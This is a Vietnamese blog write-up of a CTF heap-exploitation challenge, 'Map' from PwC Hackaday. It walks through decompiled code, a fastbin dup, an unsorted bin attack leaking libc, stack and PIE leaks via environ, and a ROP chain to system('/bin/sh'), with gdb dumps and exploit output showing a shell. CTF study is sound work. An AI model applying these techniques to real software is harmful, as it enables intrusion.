WriteUp PWN 500pts - PwC Hackaday

Map - PWN 500pts - PwC Hackaday

Thực sự mà nói hôm thi thì cũng chưa có ngó đến được bài này thì phải. Nhưng tình cờ được "thần tượng" yêu cầu làm lại bài này.


Sau một thời gian vật lộn với nó thì cũng đã xong (khá vất vả nhưng rất bổ ích).
Sau đây mình sẽ trình bày write up về bài này để cho những ai quan tâm có thể tham khảo.
Ở bài này mình chỉ thực hiện exploit ở local.

Trước tiên đây là file cho những ai quan tâm: Map (Mình đã patch bỏ qua phần alarm để cho dễ debug)

Như thường lệ mình đưa file vào IDA pro để đọc code ( Mình đã rename một vài hàm cũng như biến để cho tiện theo dõi ).

__int64 sub_555555554B95()
{
  puts("---------- Menu ------------");
  puts("0. Select Map.");
  puts("1. Add Map.");
  puts("2. Edit Map.");
  puts("3. View Map.");
  puts("4. Delete Map.");
  puts("5. Exit.");
  putchar('>');
  return (unsigned int)read_int();
}
Chương trình gồm có 5 chức năng chính.
Bây giờ ta duyệt qua từng chức năng

Chức năng Select Map:

Chức năng Add Map:

Chức năng Edit Map:

Chức năng View Map:

Chức năng Delete Map:

Nhìn vào hàm Add Map thì ta thấy có một vấn đề trong code như sau:
  v4 = listMap_202040[i];
  *(_QWORD *)(v4 + 16) = malloc(0x40uLL);
  printf("Name : ");
  read_input(*(_QWORD *)(listMap_202040[i] + 16LL), 0x40u);
  printf("Map Description Size:", 0x40LL);
  v5 = listMap_202040[i];
  *(_DWORD *)(v5 + 12) = read_int();
  if ( *(_DWORD *)(listMap_202040[i] + 12LL) > 0x400u )
    *(_DWORD *)(listMap_202040[i] + 12LL) = 0x400;
  v6 = listMap_202040[i];
  *(_QWORD *)(v6 + 24) = malloc(*(unsigned int *)(listMap_202040[i] + 12LL));
  return (unsigned __int64)read_input(*(_QWORD *)(listMap_202040[i] + 16LL), *(_DWORD *)(listMap_202040[i] + 12LL));
Description được malloc nhưng lại không được ghi trực tiếp vào đó mà lại được ghi vào vùng nhớ của Name.
Tương tự hàm edit cũng có lỗi tương tự.

Sử dụng kỹ thuật fastbin dup tôi có thể dễ dàng dùng một Map để overflow vùng nhớ của Map tiếp theo.
gdb-peda$ telescope 0x0000555555756040
0000| 0x555555756040 --> 0x555555757010 --> 0x0 
0008| 0x555555756048 --> 0x555555757100 --> 0x0 
0016| 0x555555756050 --> 0x0 
0024| 0x555555756058 --> 0x0 
0032| 0x555555756060 --> 0x0 
0040| 0x555555756068 --> 0x0 
0048| 0x555555756070 --> 0x0 
0056| 0x555555756078 --> 0x0 
gdb-peda$ telescope 0x555555757010
0000| 0x555555757010 --> 0x0 
0008| 0x555555757018 --> 0x19000000000 
0016| 0x555555757020 --> 0x555555757040 --> 0x555555757100 --> 0x0 
0024| 0x555555757028 --> 0x5555557571f0 --> 0x0 
0032| 0x555555757030 --> 0x0 
0040| 0x555555757038 --> 0x51 ('Q')
0048| 0x555555757040 --> 0x555555757100 --> 0x0 
0056| 0x555555757048 --> 0x0 
Tuy nhiên sau khi control được một Map thì tôi lại rơi vào bế tắc không biết phải tiếp tục như thế nào nữa vì bài này checksum: PIE enable

Vào một ngày đẹp trời một đại ca "giang hồ" đã tới và thông não cho mình được cái skill khá hay "unsorted bin attack"

Từ kỹ thuật này tôi có thể leak được địa chỉ main arena qua đó leak được base của libc.

gdb-peda$ telescope 0x555555757010
0000| 0x555555757010 --> 0x0 
0008| 0x555555757018 --> 0x19000000000 
0016| 0x555555757020 --> 0x555555757040 --> 0x0 
0024| 0x555555757028 --> 0x555555757090 --> 0x7ffff7dd1b78 --> 0x555555757440 --> 0x0 
0032| 0x555555757030 --> 0x0 
0040| 0x555555757038 --> 0x51 ('Q')
0048| 0x555555757040 --> 0x0 
0056| 0x555555757048 --> 0x0 

Sau khi leak được libc có thể tính được địa chỉ của environ, system, '/bin/sh'
Quay lại việc control một Map ta đưa địa chỉ cần đọc vào Description của Map đó để đọc giá trị tại vùng nhớ đó.
==> tính được địa chỉ của stack
==> tính được địa chỉ base của file
==> tính được địa chỉ "pop rdi; ret"
Tiếp tục control Return address của Hàm Edit Map để exploit ta có được solution.

chung96vn@ubuntu:~/Downloads/CTF-GAME$ python solve.py 
[*] '/lib/x86_64-linux-gnu/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './map': pid 3529
[*] leak: 0x7f5cd47aab78
[*] base: 0x7f5cd43e6000
[*] inviron: 0x7f5cd47acf38
[*] system: 0x7f5cd442b390
[*] sh: 0x7f5cd4572d17
[*] 0x7fff342fd558
[*] rbp: 0x7fff342fd460
[*] 0x5593b4ee9530
[*] Base of File: 0x5593b4ee8000
[*] Switching to interactive mode
$ whoami
chung96vn
$

File Solution: solve.py

Qua bài này thì mình gửi lời cảm ơn đến "thần tượng" Peter cũng như đại ca "giang hồ" Phiêu Lãng đã giúp mình có được một bài học rất bổ ích sau khi làm xong bài này.

Comments

Post a Comment

Popular posts from this blog

Exploit deaslr through _dl_runtime_resolve

[Night St0rm CTF] - WRITE UP PWN